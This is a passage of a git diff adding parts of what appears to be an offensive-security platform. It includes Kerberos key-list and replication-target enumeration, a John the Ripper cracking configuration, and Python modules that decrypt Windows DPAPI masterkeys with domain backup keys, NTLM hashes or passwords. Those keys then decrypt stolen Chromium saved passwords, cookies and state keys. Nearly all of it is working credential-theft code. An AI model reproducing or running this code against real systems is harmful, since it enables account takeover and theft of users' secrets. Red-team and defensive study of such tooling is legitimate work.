+ encPaData1 = decodedTGSRepPart['encrypted_pa_data'][0]
+ decodedPaData1 = decoder.decode(encPaData1['padata-value'], asn1Spec=KERB_KEY_LIST_REP())[0]
+ key = decodedPaData1[0]['keyvalue'].prettyPrint()
+
+ return key
+
+ def getAllowedUsersToReplicate(self):
+ # Enumerate all groups in domain
+ resp = self.__remoteOps.getGroupsInDomain()
+ groupsList = []
+ for group in resp['Buffer']['Buffer']:
+ groupsList.append(group['RelativeId'])
+
+ # Enumerate all aliases in domain
+ resp = self.__remoteOps.getAliasesInDomain()
+ aliasesList = []
+ for alias in resp['Buffer']['Buffer']:
+ aliasesList.append(alias['RelativeId'])
+
+ # Enumerate denied users to replicate (alias "Denied Password Replication" RID:572)
+ resp = self.__remoteOps.getMembersInAlias(rid=572)
+ deniedList = [500, 501, 502, 503]
+ for user in resp['Members']['Sids']:
+ rid = user['Data']['SidPointer']['SubAuthority'][4]
+ if rid not in deniedList:
+ deniedList.append(rid)
+
+ # Enumerate denied users in nested groups/aliases
+ for rid in deniedList:
+ if rid in groupsList:
+ resp = self.__remoteOps.getMembersInGroup(rid)
+ for user in resp['Members']['Members']:
+ rid2 = user['Data']
+ if rid2 not in deniedList:
+ deniedList.append(rid2)
+ elif rid in aliasesList:
+ resp = self.__remoteOps.getMembersInAlias(rid)
+ for user in resp['Members']['Sids']:
+ rid2 = user['Data']['SidPointer']['SubAuthority'][4]
+ if rid2 not in deniedList:
+ deniedList.append(rid2)
+
+ # Enumerate all users and filter denied ones
+ resp = self.__remoteOps.getDomainUsers()
+ targetList = []
+ for user in resp['Buffer']['Buffer']:
+ if user['RelativeId'] not in deniedList and "krbtgt_" not in user['Name']:
+ targetList.append(user['Name'] + ":" + str(user['RelativeId']))
+
+ return targetList
+
+
+def _print_helper(*args, **kwargs):
+ print(args[-1])
\ No newline at end of file
diff --git a/cmd/enrichment/enrichment/services/text_extractor.py b/cmd/enrichment/enrichment/services/text_extractor.py
new file mode 100644
index 0000000..94a0c83
--- /dev/null
+++ b/cmd/enrichment/enrichment/services/text_extractor.py
@@ -0,0 +1,54 @@
+# Standard Libraries
+from abc import abstractmethod
+from typing import Optional
+
+# 3rd Party Libraries
+import httpx
+import structlog
+
+logger = structlog.get_logger(__name__)
+
+
+class TextExtractorInterface:
+ @abstractmethod
+ async def extract(self, text: str) -> Optional[str]:
+ pass
+
+
+class TikaTextExtractor(TextExtractorInterface):
+ http_client: httpx.AsyncClient
+ tika_uri: str
+
+ def __init__(self, tika_uri: str, http_client: httpx.AsyncClient) -> None:
+ self.tika_uri = tika_uri
+ self.http_client = http_client
+
+ async def extract(self, file_path: str) -> Optional[str]:
+ """Extracts text from the supplied file using Apache Tika a returns the text in the document.
+
+ Args:
+ file_path (str): Path to a document on disk
+
+ Returns:
+ str: Text extracted from the document
+ """
+ url = f"{self.tika_uri}tika"
+
+ with open(file_path, "rb") as doc_file:
+ try:
+ data = doc_file.read()
+ # resp = await self.http_client.put(url, content=data, headers={"Accept": "text/plain"}, timeout=30)
+ resp = await self.http_client.put(url, content=data, headers={"Accept": "text/plain"})
+ resp.raise_for_status()
+
+ # check if it's empty, otherwise return it
+ text = resp.text.strip()
+ return text if text else None
+ except httpx.HTTPStatusError as e:
+ # See https://cwiki.apache.org/confluence/display/TIKA/TikaServer
+ if e.response.status_code == 422 and e.response.text == "Unprocessable Entity":
+ await logger.awarning("Tika could not process the file (Unsupported mime-type, encrypted document, etc)", file_path=file_path)
+ return None
+
+ # This is an response code we didn't expect, so re-raise it
+ raise
diff --git a/cmd/enrichment/enrichment/settings.py b/cmd/enrichment/enrichment/settings.py
new file mode 100644
index 0000000..954bfa6
--- /dev/null
+++ b/cmd/enrichment/enrichment/settings.py
@@ -0,0 +1,90 @@
+# Standard Libraries
+import re
+from enum import IntEnum
+from typing import Any, List, Optional
+
+# 3rd Party Libraries
+from nemesiscommon.settings import FileProcessingService
+from pydantic import Field, PositiveInt, validator
+from pydantic.networks import AnyHttpUrl, AnyUrl, HttpUrl, Parts, PostgresDsn
+
+
+class HttpUrlWithSlash(AnyHttpUrl):
+ @classmethod
+ def __get_validators__(cls):
+ yield super().validate
+ yield cls.validate
+
+ @classmethod
+ def validate_parts(cls, parts: "Parts", validate_port: bool = True) -> "Parts":
+ path = parts.get("path")
+ if not path or not path.endswith("/"):
+ raise ValueError("URI must end with a '/'")
+
+ return super().validate_parts(parts, validate_port=False)
+
+ def __repr__(self):
+ return f"HttpUrlWithSlash({super().__repr__()})"
+
+
+class CrackWordlistSize(IntEnum):
+ VALUE_10000 = 10000
+ VALUE_100000 = 100000
+
+
+class ElasticsearchSettings:
+ user: str
+ password: str
+ url: str
+
+
+class EnrichmentSettings(FileProcessingService): # type: ignore
+ rabbitmq_connection_uri: AnyUrl
+ postgres_connection_uri: PostgresDsn
+ tika_uri: HttpUrlWithSlash
+ dotnet_uri: HttpUrlWithSlash
+ gotenberg_uri: HttpUrlWithSlash
+ ml_models_uri: HttpUrlWithSlash
+ crack_list_uri: HttpUrlWithSlash
+ model_word_limit: PositiveInt
+ extracted_archive_size_limit: PositiveInt
+ db_iteration_size: PositiveInt
+ elasticsearch_user: str
+ elasticsearch_password: str
+ elasticsearch_url: HttpUrlWithSlash
+ web_api_url: HttpUrlWithSlash
+ public_kibana_url: HttpUrlWithSlash
+ slack_webhook_url: HttpUrl
+ slack_username: str
+ slack_emoji: str
+ slack_channel: str
+ tensorflow_uri: str
+ context_words: PositiveInt
+ chunk_size: PositiveInt
+ ml_chunk_size: PositiveInt
+ prob_threshold: float
+ yara_api_port: int = Field(None, ge=0, le=65535)
+ disable_alerting: bool = False
+ crack_wordlist_top_words: CrackWordlistSize # either 10000 or 100000 for now
+ jtr_instances: PositiveInt = 1 # number of John the Ripper instances to run
+ reprocessing_workers: PositiveInt = 5 # number of parallel reprocessing workers
+ tasks: Optional[List[str]] # List of tasks to start
+ registry_value_batch_size: PositiveInt = 5000 # number of registry values to emit per reg carving message
+
+ @validator("slack_channel")
+ def slack_channel_is_valid(cls, channel: str) -> str:
+ pattern = r"^#[a-zA-Z0-9_-]{1,80}$"
+ if re.match(pattern, channel):
+ return channel
+ else:
+ raise ValueError("Slack channel must start with a '#' and be followed by 1-80 alphanumeric characters, hypens, or underscores")
+
+ class Config:
+ @classmethod
+ def parse_env_var(cls, field_name: str, raw_val: str) -> Any:
+ if field_name == "tasks":
+ return [x for x in raw_val.split(",")]
+ return raw_val
+
+
+config = EnrichmentSettings() # type: ignore
diff --git a/cmd/enrichment/enrichment/tasks/chromium_cookie.py b/cmd/enrichment/enrichment/tasks/chromium_cookie.py
new file mode 100644
index 0000000..92d1f29
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/chromium_cookie.py
@@ -0,0 +1,225 @@
+# Standard Libraries
+import asyncio
+from base64 import b64decode
+from typing import Dict
+
+# 3rd Party Libraries
+import enrichment.lib.helpers as helpers
+import nemesispb.nemesis_pb2 as pb
+import structlog
+from Cryptodome.Cipher import AES
+from enrichment.lib.nemesis_db import NemesisDb
+from enrichment.tasks.dpapi.dpapi_blob import DPAPI_BLOB
+from nemesiscommon.messaging import (
+ MessageQueueConsumerInterface,
+ MessageQueueProducerInterface,
+)
+from nemesiscommon.tasking import TaskInterface
+from prometheus_async import aio
+from prometheus_client import Summary
+
+logger = structlog.get_logger(module=__name__)
+
+
+class ChromiumCookie(TaskInterface):
+ """
+ Class responsible for decrypting cookies in Chromium-based browsers/applications.
+ """
+
+ db: NemesisDb
+
+ # Queues
+ in_q_chromiumcookies: MessageQueueConsumerInterface
+ in_q_cookieingestion: MessageQueueConsumerInterface
+ out_q_chromium_cookies: MessageQueueProducerInterface
+ out_q_chromium_cookiesprocessed: MessageQueueProducerInterface
+
+ def __init__(
+ self,
+ db: NemesisDb,
+ in_q_chromiumcookies: MessageQueueConsumerInterface,
+ in_q_cookieingestion: MessageQueueConsumerInterface,
+ out_q_chromium_cookies: MessageQueueProducerInterface,
+ out_q_chromium_cookiesprocessed: MessageQueueProducerInterface,
+ ):
+ self.db = db
+ self.in_q_chromiumcookies = in_q_chromiumcookies
+ self.in_q_cookieingestion = in_q_cookieingestion
+ self.out_q_chromium_cookies = out_q_chromium_cookies
+ self.out_q_chromium_cookiesprocessed = out_q_chromium_cookiesprocessed
+
+ async def run(self) -> None:
+ await logger.ainfo("Starting the Cookie service")
+
+ await asyncio.gather(
+ self.in_q_cookieingestion.Read(self.handle_cookie_ingestion), # type: ignore
+ self.in_q_chromiumcookies.Read(self.handle_chromium_cookies), # type: ignore
+ )
+ await asyncio.Future()
+
+ async def handle_chromium_cookies(self, q_msg: pb.ChromiumCookieMessage) -> None:
+ await self.process_chromium_cookies(q_msg)
+
+ async def handle_cookie_ingestion(self, q_msg: pb.CookieIngestionMessage) -> None:
+ await self.process_cookie_ingestion(q_msg)
+
+ @aio.time(Summary("process_chromium_cookies", "Time spent processing a Chromium cookie parsed from a Cookies file")) # type: ignore
+ async def process_chromium_cookies(self, event: pb.ChromiumCookieMessage) -> None:
+ """Main function to process chromium_cookies events.
+
+ Cookie values are checked for AES/DPAPI decryption, and the appropriate
+ state key or DPAPI masterkey is pulled if it's present and decrypted.
+ If present, this key is then used to decrypt the cookie value to plaintext.
+ """
+
+ if not len(event.data) > 0:
+ return
+
+ masterkeys = await self.get_linked_masterkeys(event)
+ data_directories = await self.get_linked_statekeys(event)
+
+ for entry in event.data:
+ if not entry.is_decrypted:
+ # first do any cookie decryption
+ if entry.masterkey_guid in masterkeys:
+ blob = DPAPI_BLOB(entry.value_enc)
+ blob_dec_bytes = blob.decrypt(masterkeys[entry.masterkey_guid])
+ if blob_dec_bytes:
+ entry.value_dec = blob_dec_bytes.decode("UTF-8")
+ entry.is_decrypted = True
+ elif entry.encryption_type == "aes" and entry.user_data_directory in data_directories:
+ state_key_bytes_dec = data_directories[entry.user_data_directory]
+ if state_key_bytes_dec:
+ try:
+ plaintext = await self.decrypt_chromium_aes_entry(state_key_bytes_dec, entry.value_enc)
+ if plaintext and plaintext != "":
+ entry.value_dec = plaintext
+ entry.is_decrypted = True
+ except Exception as e:
+ await logger.aerror(
+ "Error AES decrypting cookie value",
+ source=event.metadata.source,
+ cookie_name=entry.name,
+ user_data_directory=entry.user_data_directory,
+ )
+
+ # now do the cookie site/name classification enrichment
+ # TODO: implement
+
+ # publish out to the cookie_processed_q queue
+ await self.out_q_chromium_cookiesprocessed.Send(event.SerializeToString())
+
+ @aio.time(Summary("process_cookie_ingestion", "Time spent processing a cookie ingested through the frontend API")) # type: ignore
+ async def process_cookie_ingestion(self, event: pb.CookieIngestionMessage) -> None:
+ """Main function to process cookie_ingestion events."""
+
+ if not len(event.data) > 0:
+ return
+
+ cookie_message = pb.ChromiumCookieMessage()
+ cookie_message.metadata.CopyFrom(event.metadata)
+
+ for data in event.data:
+ cookie_data = cookie_message.data.add()
+
+ # this indicates null, i.e. that this wasn't carved from a file
+ cookie_data.originating_object_id = "00000000-0000-0000-0000-000000000000"
+ cookie_data.masterkey_guid = "00000000-0000-0000-0000-000000000000"
+
+ if data.user_data_directory and data.user_data_directory != "":
+ path = data.user_data_directory.replace("\\", "/")
+ chromium_file_path = helpers.parse_chromium_file_path(path)
+ cookie_data.user_data_directory = path
+ if chromium_file_path.success and chromium_file_path.username:
+ cookie_data.username = chromium_file_path.username
+ if chromium_file_path.success and chromium_file_path.browser:
+ cookie_data.browser = chromium_file_path.browser
+
+ if data.domain and data.domain != "":
+ cookie_data.host_key = data.domain.lstrip(".").lower()
+
+ cookie_data.name = data.name
+
+ # TODO: implement the site/cookie name classification mapping
+
+ cookie_data.path = data.path
+
+ if data.creation:
+ cookie_data.creation.CopyFrom(data.creation)
+ if data.expires:
+ cookie_data.expires.CopyFrom(data.expires)
+ if data.last_access:
+ cookie_data.last_access.CopyFrom(data.last_access)
+ if data.last_update:
+ cookie_data.last_update.CopyFrom(data.last_update)
+
+ cookie_data.is_secure = data.secure
+ cookie_data.is_httponly = data.http_only
+ cookie_data.is_session = data.session
+
+ if data.samesite and data.samesite != "":
+ cookie_data.samesite = data.samesite.upper()
+
+ cookie_data.source_port = data.source_port
+ cookie_data.value_dec = data.value
+
+ if len(data.value) > 0:
+ cookie_data.is_decrypted = True
+
+ if len(data.value_enc) > 0:
+ cookie_data.value_enc = b64decode(data.value_enc)
+ if cookie_data.value_enc.startswith(b"v10"):
+ cookie_data.encryption_type = "aes"
+ else:
+ blob = await helpers.parse_dpapi_blob(cookie_data.value_enc)
+ if blob.success:
+ cookie_data.encryption_type = "dpapi"
+ if blob.dpapi_master_key_guid:
+ cookie_data.masterkey_guid = blob.dpapi_master_key_guid
+ else:
+ raise Exception(f"Unknown cookie encryption type. Encrypted cookie value: {data.value_enc}")
+
+ # publish out to the cookie_processed_q queue
+ await self.out_q_chromium_cookies.Send(cookie_message.SerializeToString())
+
+ async def get_linked_masterkeys(self, event: pb.ChromiumCookieMessage) -> Dict[str, str]:
+ """Helper that returns all masterkey GUID:key mappings from a set of cookie messages."""
+ masterkey_guids_uniq = set([entry.masterkey_guid for entry in event.data if (entry.encryption_type == "dpapi" and entry.masterkey_guid != "00000000-0000-0000-0000-000000000000")])
+ masterkeys = {}
+ for mk_guid in masterkey_guids_uniq:
+ results = await self.db.get_decrypted_dpapi_masterkey(mk_guid)
+ if results:
+ (masterkey_sha1, masterkey_full) = results
+ if masterkey_sha1:
+ masterkeys[mk_guid] = masterkey_sha1
+ elif masterkey_full:
+ masterkeys[mk_guid] = masterkey_full
+ return masterkeys
+
+ async def get_linked_statekeys(self, event: pb.ChromiumCookieMessage) -> Dict[str, bytes]:
+ """Helper that returns all statekey AES keys from a set of cookie messages."""
+ # get the decrypted AES state key value(s) linked to these cookies, if it/they exist
+ # we use source + user_data_directory for relative "uniqueness"
+ data_directories_uniq = set([entry.user_data_directory for entry in event.data])
+ data_directories = {}
+ for data_directory in data_directories_uniq:
+ result = await self.db.get_decrypted_chromium_state_key(event.metadata.source, data_directory)
+ if result:
+ data_directories[data_directory] = result
+ return data_directories
+
+ async def decrypt_chromium_aes_entry(self, state_key_bytes_dec: bytes, value_enc: bytes) -> str:
+ """Helper that takes a Chromium AES key and a cookie/login value and decrypts it.
+
+ Ref- https://stackoverflow.com/a/60423699
+ """
+
+ nonce = value_enc[3 : 3 + 12]
+ ciphertext = value_enc[3 + 12 : -16]
+ tag = value_enc[-16:]
+ cipher = AES.new(state_key_bytes_dec, AES.MODE_GCM, nonce=nonce)
+ plaintext = cipher.decrypt_and_verify(ciphertext, tag)
+ if plaintext and plaintext is not None:
+ return plaintext.decode("UTF-8")
+ else:
+ return ""
diff --git a/cmd/enrichment/enrichment/tasks/dpapi/dpapi.py b/cmd/enrichment/enrichment/tasks/dpapi/dpapi.py
new file mode 100644
index 0000000..02a4b94
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/dpapi/dpapi.py
@@ -0,0 +1,875 @@
+# Standard Libraries
+import asyncio
+import uuid
+from hashlib import pbkdf2_hmac
+from typing import List, Optional, Tuple
+
+# 3rd Party Libraries
+import nemesispb.nemesis_pb2 as pb
+import structlog
+from Cryptodome.Cipher import AES, PKCS1_v1_5
+from Cryptodome.Hash import HMAC, MD4, SHA1
+from enrichment.lib.nemesis_db import (DpapiDomainBackupkey, DpapiMasterkey,
+ NemesisDb)
+from enrichment.tasks.dpapi.dpapi_blob import DPAPI_BLOB
+from enrichment.tasks.dpapi.masterkey import MasterKey
+# from enrichment.tasks.dpapi.masterkey import MasterKey
+from impacket.dpapi import DPAPI_DOMAIN_RSA_MASTER_KEY # MasterKey,
+from impacket.dpapi import (PRIVATE_KEY_BLOB, PVK_FILE_HDR,
+ privatekeyblob_to_pkcs1)
+from impacket.uuid import bin_to_string
+from nemesiscommon.messaging import (MessageQueueConsumerInterface,
+ MessageQueueProducerInterface)
+from nemesiscommon.nemesis_tempfile import TempFile
+from nemesiscommon.services.alerter import AlerterInterface
+from nemesiscommon.storage import StorageInterface
+from nemesiscommon.tasking import TaskInterface
+from prometheus_async import aio
+from prometheus_client import Summary
+
+logger = structlog.get_logger(module=__name__)
+
+
+class Dpapi(TaskInterface):
+ data_download_dir: str
+ alerter: AlerterInterface
+ db: NemesisDb
+
+ # Queues
+ in_q_dpapi_blob: MessageQueueConsumerInterface
+ in_q_dpapi_masterkey: MessageQueueConsumerInterface
+ in_q_dpapi_domainbackupkey: MessageQueueConsumerInterface
+ in_q_chromiumlogins: MessageQueueConsumerInterface
+ in_q_chromiumstatefile: MessageQueueConsumerInterface
+ in_q_authentication_data: MessageQueueConsumerInterface
+ out_q_dpapiblobprocessed: MessageQueueProducerInterface
+ out_q_dpapimasterkeyprocessed: MessageQueueProducerInterface
+ out_q_chromiumloginsprocessed: MessageQueueProducerInterface
+ out_q_chromiumstatefileprocessed: MessageQueueProducerInterface
+
+ def __init__(
+ self,
+ data_download_dir: str,
+ alerter: AlerterInterface,
+ db: NemesisDb,
+ storage: StorageInterface,
+ in_q_chromiumlogins: MessageQueueConsumerInterface,
+ in_q_chromiumstatefile: MessageQueueConsumerInterface,
+ in_q_dpapiblob: MessageQueueConsumerInterface,
+ in_q_dpapidomainbackupkey: MessageQueueConsumerInterface,
+ in_q_dpapimasterkey: MessageQueueConsumerInterface,
+ in_q_authentication_data: MessageQueueConsumerInterface,
+ out_q_chromiumloginsprocessed: MessageQueueProducerInterface,
+ out_q_chromiumstatefileprocessed: MessageQueueProducerInterface,
+ out_q_dpapiblobprocessed: MessageQueueProducerInterface,
+ out_q_dpapimasterkeyprocessed: MessageQueueProducerInterface,
+ ):
+ self.data_download_dir = data_download_dir
+ self.alerter = alerter
+ self.db = db
+ self.storage = storage
+
+ # Queues
+ self.in_q_chromiumlogins = in_q_chromiumlogins
+ self.in_q_chromiumstatefile = in_q_chromiumstatefile
+ self.in_q_dpapi_blob = in_q_dpapiblob
+ self.in_q_dpapi_domainbackupkey = in_q_dpapidomainbackupkey
+ self.in_q_dpapi_masterkey = in_q_dpapimasterkey
+ self.in_q_authentication_data = in_q_authentication_data
+ self.out_q_chromiumloginsprocessed = out_q_chromiumloginsprocessed
+ self.out_q_chromiumstatefileprocessed = out_q_chromiumstatefileprocessed
+ self.out_q_dpapiblobprocessed = out_q_dpapiblobprocessed
+ self.out_q_dpapimasterkeyprocessed = out_q_dpapimasterkeyprocessed
+
+ async def run(self) -> None:
+ await logger.ainfo("Starting the DPAPI service")
+
+ await asyncio.gather(
+ self.in_q_dpapi_blob.Read(self.handle_dpapi_blob), # type: ignore
+ self.in_q_dpapi_masterkey.Read(self.handle_dpapi_masterkey), # type: ignore
+ self.in_q_dpapi_domainbackupkey.Read(self.handle_dpapi_domain_backupkey), # type: ignore
+ self.in_q_chromiumlogins.Read(self.handle_chromium_logins), # type: ignore
+ self.in_q_chromiumstatefile.Read(self.handle_chromium_state_file), # type: ignore
+ self.in_q_authentication_data.Read(self.handle_authentication_data), # type: ignore
+ )
+ await asyncio.Future()
+
+ async def handle_dpapi_blob(self, q_msg: pb.DpapiBlobMessage) -> None:
+ await self.process_dpapi_blob(q_msg)
+
+ async def handle_dpapi_masterkey(self, q_msg: pb.DpapiMasterkeyMessage) -> None:
+ await self.process_dpapi_masterkey(q_msg)
+
+ async def handle_dpapi_domain_backupkey(self, q_msg: pb.DpapiDomainBackupkeyMessage) -> None:
+ await self.process_dpapi_domain_backupkey(q_msg)
+
+ async def handle_chromium_logins(self, q_msg: pb.ChromiumLoginMessage) -> None:
+ await self.process_chromium_logins(q_msg)
+
+ async def handle_chromium_state_file(self, q_msg: pb.ChromiumStateFileMessage) -> None:
+ await self.process_chromium_state_file(q_msg)
+
+ async def handle_authentication_data(self, q_msg: pb.AuthenticationDataIngestionMessage) -> None:
+ await self.process_authentication_data(q_msg)
+
+ @aio.time(Summary("process_dpapi_blob", "Time spent processing a DPAPI blob")) # type: ignore
+ async def process_dpapi_blob(self, event: pb.DpapiBlobMessage) -> None:
+ """Main function to process dpapi_blob events."""
+
+ for i in range(len(event.data)):
+ data = event.data[i]
+
+ if data.is_file:
+ # if this blob is over 1024 bytes, it's uploaded to S3
+ blob_file_uuid = blob_file_uuid = uuid.UUID(data.enc_data_object_id)
+
+ with await self.storage.download(blob_file_uuid) as temp_file_enc:
+ # download the file and try to decrypt these bytes
+ with open(temp_file_enc.name, "rb") as f:
+ blob_bytes = f.read()
+
+ # try to decrypt this blob if there's a linked key
+ blob_dec_bytes = await self.decrypt_dpapi_blob(blob_bytes)
+
+ if blob_dec_bytes:
+ async with TempFile(self.data_download_dir) as temp_file_dec:
+ with open(temp_file_dec.path, "wb") as f:
+ f.write(blob_dec_bytes)
+
+ decrypted_file_uuid = await self.storage.upload(temp_file_dec.path)
+ data.is_decrypted = True
+ data.dec_data_object_id = str(decrypted_file_uuid)
+ else:
+ # otherwise we're dealing with the raw bytes if the size is < 1024
+ blob_dec_bytes = await self.decrypt_dpapi_blob(data.enc_data_bytes)
+ if blob_dec_bytes:
+ data.is_decrypted = True
+ data.dec_data_bytes = blob_dec_bytes
+
+ # publish out to the dpapi_blob_processed_q_out queue
+ await self.out_q_dpapiblobprocessed.Send(event.SerializeToString())
+
+ @aio.time(Summary("process_dpapi_masterkey", "Time spent processing a DPAPI masterkey")) # type: ignore
+ async def process_dpapi_masterkey(self, event: pb.DpapiMasterkeyMessage) -> None:
+ """Main function to process dpapi_masterkey events.
+
+ This function will take any incoming masterkeys, check if there
+ are any linked encrypted domain backup keys in the DB, decrypting
+ the masterkey and updating it in the DB if so.
+
+ Broken out separately to get the Prometheus decorator to work correctly.
+ """
+
+ for i in range(len(event.data)):
+ masterkey = event.data[i]
+
+ if not masterkey.is_decrypted:
+ if masterkey.type == "machine":
+ # TODO: handle machine DPAPI keys
+ pass
+ else:
+ if masterkey.domain_backupkey_guid and masterkey.domainkey_pb_secret:
+ # if there's a linked domain backup key, try to decrypt this masterkey
+ results = await self.decrypt_dpapi_domain_masterkey(
+ masterkey.domainkey_pb_secret, domain_backupkey_guid=masterkey.domain_backupkey_guid
+ )
+
+ if results:
+ await logger.adebug("Decrypted masterkey with domain backup key", masterkey_guid=masterkey.masterkey_guid)
+ # update this object with the decrypted values
+ masterkey.decrypted_key_sha1, masterkey.decrypted_key_full = results
+ masterkey.is_decrypted = True
+
+ if not masterkey.is_decrypted and masterkey.user_sid:
+ # if domain key decryption didn't work or a domain backup key wasn't present,
+ # try decrypting with plaintext passwords/NTLM hashes
+ plaintext_passwords = await self.db.get_plaintext_passwords(masterkey.username)
+ ntlm_hashes = await self.db.get_ntlm_hashes(masterkey.username)
+ if plaintext_passwords or ntlm_hashes:
+ results = await self.decrypt_dpapi_masterkey(
+ masterkey.masterkey_bytes, masterkey.user_sid, plaintext_passwords, ntlm_hashes
+ )
+ if results:
+ await logger.adebug("Decrypted masterkey with existing plaintext password or ntlm hash")
+ # update this object with the decrypted values
+ masterkey.decrypted_key_sha1, masterkey.decrypted_key_full = results
+ masterkey.is_decrypted = True
+
+ m = event.metadata
+ obj = DpapiMasterkey(
+ agent_id=m.agent_id,
+ project_id=m.project,
+ source=m.source,
+ timestamp=m.timestamp.ToDatetime(),
+ expiration=m.expiration.ToDatetime(),
+ object_id=masterkey.object_id,
+ type=masterkey.type,
+ username=masterkey.username,
+ user_sid=masterkey.user_sid,
+ masterkey_guid=uuid.UUID(masterkey.masterkey_guid),
+ is_decrypted=masterkey.is_decrypted,
+ masterkey_bytes=masterkey.masterkey_bytes,
+ domain_backupkey_guid=uuid.UUID(masterkey.domain_backupkey_guid) if masterkey.domain_backupkey_guid else None,
+ domainkey_pb_secret=masterkey.domainkey_pb_secret,
+ decrypted_key_full=masterkey.decrypted_key_full,
+ decrypted_key_sha1=masterkey.decrypted_key_sha1,
+ )
+ await self.db.add_dpapi_masterkey(obj)
+
+ if masterkey.is_decrypted:
+ # decrypt any existing linked DPAPI blobs
+ await self.decrypt_existing_dpapi_blobs(masterkey.masterkey_guid)
+ await logger.ainfo("Decrypted any existing blobs protected by the masterkey", masterkey_guid=masterkey.masterkey_guid)
+
+ # decrypt any existing linked Chromium data
+ await self.decrypt_existing_chromium_data(masterkey.masterkey_guid)
+ await logger.ainfo("Decrypted any existing Chromium data by the masterkey", masterkey_guid=masterkey.masterkey_guid)
+
+ # publish out to the dpapi_masterkey_processed_q_out queue
+ await self.out_q_dpapimasterkeyprocessed.Send(event.SerializeToString())
+
+ @aio.time(Summary("process_dpapi_domain_backupkey", "Time spent processing a DPAPI masterkey")) # type: ignore
+ async def process_dpapi_domain_backupkey(self, event) -> None:
+ """Main function to process dpapi_domain_backupkey events.
+
+ This function will process a DPAPI domain backup key event,
+ adding the key to the database and decrypting any existing
+ DPAPI masterkeys.
+ """
+
+ for key in event.data:
+ domain_backupkey_guid = key.domain_backupkey_guid
+ domain_controller = key.domain_controller
+ domain_backupkey_bytes = key.domain_backupkey_bytes
+
+ # add the key to the database
+ obj = DpapiDomainBackupkey(
+ agent_id=event.metadata.agent_id,
+ project_id=event.metadata.project,
+ source=event.metadata.source,
+ timestamp=event.metadata.timestamp.ToDatetime(),
+ expiration=event.metadata.expiration.ToDatetime(),
+ domain_backupkey_guid=domain_backupkey_guid,
+ domain_controller=domain_controller,
+ domain_backupkey_bytes=domain_backupkey_bytes,
+ )
+ await self.db.add_dpapi_domain_backupkey(obj)
+
+ # alert to Slack
+ await self.alerter.alert(
+ f"*DPAPI Domain Backup Key Added*\nAdded domain backupkey (GUID: *{domain_backupkey_guid}*) to the database"
+ )
+
+ await logger.adebug("Added domain backupkey to the database", domain_backupkey_guid=domain_backupkey_guid)
+
+ # decrypt any existing linked masterkeys
+ await self.decrypt_existing_dpapi_masterkeys_with_domain_key(domain_backupkey_guid)
+
+ @aio.time(Summary("process_chromium_logins", "Time spent processing a Chromium Logins file message")) # type: ignore
+ async def process_chromium_logins(self, event: pb.ChromiumLoginMessage) -> None:
+ """Main function to process chromium_logins events.
+
+ Login entries are checked for AES/DPAPI decryption, and the appropriate
+ state key or DPAPI masterkey is pulled if it's present and decrypted.
+ If present, this key is then used to decrypt the login entry to plaintext.
+ """
+
+ # get all of the unique masterkey GUIDs off the bat so we can retrieve them just once
+ masterkey_guids_uniq = set(
+ [
+ entry.masterkey_guid
+ for entry in event.data
+ if (entry.encryption_type == "dpapi" and entry.masterkey_guid != "00000000-0000-0000-0000-000000000000")
+ ]
+ )
+ masterkeys = {}
+ for mk_guid in masterkey_guids_uniq:
+ results = await self.db.get_decrypted_dpapi_masterkey(mk_guid)
+ if results:
+ (masterkey_sha1, masterkey_full) = results
+ if masterkey_sha1:
+ masterkeys[mk_guid] = masterkey_sha1
+ elif masterkey_full:
+ masterkeys[mk_guid] = masterkey_full
+
+ # get the decrypted AES state key value(s) linked to these logins, if it/they exist
+ # we use source + user_data_directory for relative "uniqueness"
+ data_directories_uniq = set([entry.user_data_directory for entry in event.data])
+ data_directories = {}
+ for data_directory in data_directories_uniq:
+ result = await self.db.get_decrypted_chromium_state_key(event.metadata.source, data_directory)
+ if result:
+ data_directories[data_directory] = result
+
+ for i in range(len(event.data)):
+ entry = event.data[i]
+ if entry.masterkey_guid in masterkeys:
+ # use the Impacket DPAPI_BLOB structure in lib/dpapi_blob.py
+ blob = DPAPI_BLOB(entry.password_value_enc)
+ blob_dec_bytes = blob.decrypt(masterkeys[entry.masterkey_guid])
+ if blob_dec_bytes:
+ entry.password_value_dec = blob_dec_bytes.decode("UTF-8")
+ entry.is_decrypted = True
+
+ elif entry.encryption_type == "aes" and entry.user_data_directory in data_directories:
+ state_key_bytes_dec = data_directories[entry.user_data_directory]
+ if state_key_bytes_dec:
+ try:
+ plaintext = await self.decrypt_chromium_aes_entry(state_key_bytes_dec, entry.password_value_enc)
+ if plaintext:
+ entry.password_value_dec = plaintext
+ entry.is_decrypted = True
+ except Exception:
+ await logger.aerror(
+ "Error AES decrypting login value",
+ source=event.metadata.source,
+ signon_realm=entry.signon_realm,
+ user_data_directory=entry.user_data_directory,
+ )
+
+ # publish out to the chromium_logins_processed_q_out queue
+ await self.out_q_chromiumloginsprocessed.Send(event.SerializeToString())
+
+ @aio.time(Summary("process_chromium_state_file", "Time spent processing a Chromium Local State file message")) # type: ignore
+ async def process_chromium_state_file(self, event: pb.ChromiumStateFileMessage) -> None:
+ """Main function to process chromium_state_file events.
+
+ The encrypted_key value for Local State file is parsed as a DPAPI protected
+ blob and the appropriate DPAPI masterkey is pulled if it's present and decrypted.
+ If present, this key is then used to decrypt the encryption key.
+ """
+
+ # get all of the unique masterkey GUIDs off the bat so we can retrieve them just once
+ masterkey_guids_uniq = set(
+ [entry.masterkey_guid for entry in event.data if entry.masterkey_guid != "00000000-0000-0000-0000-000000000000"]
+ )
+ masterkeys = {}
+ for mk_guid in masterkey_guids_uniq:
+ results = await self.db.get_decrypted_dpapi_masterkey(mk_guid)
+ if results:
+ (masterkey_sha1, masterkey_full) = results
+ if masterkey_sha1:
+ masterkeys[mk_guid] = masterkey_sha1
+ elif masterkey_full:
+ masterkeys[mk_guid] = masterkey_full
+
+ for i in range(len(event.data)):
+ data = event.data[i]
+ if data.masterkey_guid in masterkeys:
+ try:
+ # use the Impacket DPAPI_BLOB struture in lib/dpapi_blob.py
+ blob = DPAPI_BLOB(data.key_bytes_enc)
+ blob_dec_bytes = blob.decrypt(masterkeys[data.masterkey_guid])
+ if blob_dec_bytes:
+ data.is_decrypted = True
+ data.key_bytes_dec = blob_dec_bytes
+
+ # if data.app_bound_fixed_data_enc is not None:
+ # blob2 = DPAPI_BLOB(data.app_bound_fixed_data_enc)
+ # blob_dec_bytes2 = blob2.decrypt(masterkeys[data.masterkey_guid])
+ # if blob_dec_bytes2:
+ # data.app_bound_fixed_data_dec = blob_dec_bytes2
